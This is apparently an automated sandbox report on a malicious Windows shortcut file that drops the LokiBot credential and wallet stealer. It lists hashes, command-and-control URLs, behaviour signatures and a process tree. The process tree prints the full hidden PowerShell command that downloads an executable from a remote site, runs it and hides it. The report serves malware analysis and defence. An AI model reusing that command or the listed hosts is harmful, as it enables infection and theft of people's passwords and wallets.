Analysis

  • max time kernel
    126s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-08-2024 01:18

General

  • Target

    15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk

  • Size

    2KB

  • MD5

    1d5c4d5d15b7556fe88893a7352efbf8

  • SHA1

    124b6911e134fc0ef7d75293bf7736941a5b26e9

  • SHA256

    15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3

  • SHA512

    f678b94722a6d1b6ca4c84c6ea4ea9f116fb56d79000d646f6d1f044cd40069738809babc18972c637d4c457ba82aa1e207cebee756a05cc030e30a8b7b9b244

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe

Extracted

Family

lokibot

C2

http://94.156.66.169:5788/bhvstgd/Panel/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\15e851a4cb9c2270b109a2a346b9ce9a8c15104825b211a4194b3113c60f8ba3.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2444
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsheLl.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRsheLl.exe" -ExecutionPolicy -Bypass -WindowStyle hiDdEn -HiDdEn --hiDDeN ---HiddeN ----HidDEn -Command msadp32.acm;(new-object System.Net.WebClient).DownloadFile('http://www.requimacofradian.site/dfjbhskdbfvsdsfgsh/bzdjgbsdzjkngdsnhgtuonidsgtsgb/neio.exe','doubles.exe');./'doubles.exe';(get-item 'doubles.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Users\Admin\AppData\Local\Temp\doubles.exe
        "C:\Users\Admin\AppData\Local\Temp\doubles.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3140
        • C:\Users\Admin\AppData\Local\Temp\doubles.exe
          C:\Users\Admin\AppData\Local\Temp\doubles.exe
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2236
        • C:\Users\Admin\AppData\Local\Temp\doubles.exe
          C:\Users\Admin\AppData\Local\Temp\doubles.exe
          4⤵
          • Executes dropped EXE
          PID:908

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qtdkp0fd.eyo.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\doubles.exe

    Filesize

    368KB

    MD5

    e3cb14da97d1e7c055b7601275e1d75c

    SHA1

    1c0d5e23e8e6501f99eb1b1b5c962050bfff2aa4

    SHA256

    7dd71d9e48bf5e2bdea15c97c6d800883bf88ecd1c51f55ab100e73984f9ca03

    SHA512

    d59aee3c58746357411731dd928fb6cfb2769ec87088ced3ed1ba6baca77431f31f1acebef7c963bd1b74541756f3eb229fb66a03c24cf7a3b4e584f0195c926

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-4182098368-2521458979-3782681353-1000\0f5007522459c86e95ffcc62f32308f1_ea0aa4d6-aa48-4733-9e64-85ab59ce35b0

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • memory/1060-2-0x00007FFD3AB53000-0x00007FFD3AB55000-memory.dmp

    Filesize

    8KB

  • memory/1060-3-0x0000027447EE0000-0x0000027447F02000-memory.dmp

    Filesize

    136KB

  • memory/1060-13-0x00007FFD3AB50000-0x00007FFD3B611000-memory.dmp

    Filesize

    10.8MB

  • memory/1060-14-0x00007FFD3AB50000-0x00007FFD3B611000-memory.dmp

    Filesize

    10.8MB

  • memory/1060-23-0x00007FFD3AB50000-0x00007FFD3B611000-memory.dmp

    Filesize

    10.8MB

  • memory/2236-29-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2236-33-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2236-54-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2236-62-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/3140-27-0x0000000004F00000-0x0000000004F9C000-memory.dmp

    Filesize

    624KB

  • memory/3140-28-0x00000000025E0000-0x00000000025E6000-memory.dmp

    Filesize

    24KB

  • memory/3140-26-0x0000000004AE0000-0x0000000004B48000-memory.dmp

    Filesize

    416KB

  • memory/3140-25-0x0000000002440000-0x0000000002446000-memory.dmp

    Filesize

    24KB

  • memory/3140-24-0x0000000000100000-0x0000000000164000-memory.dmp

    Filesize

    400KB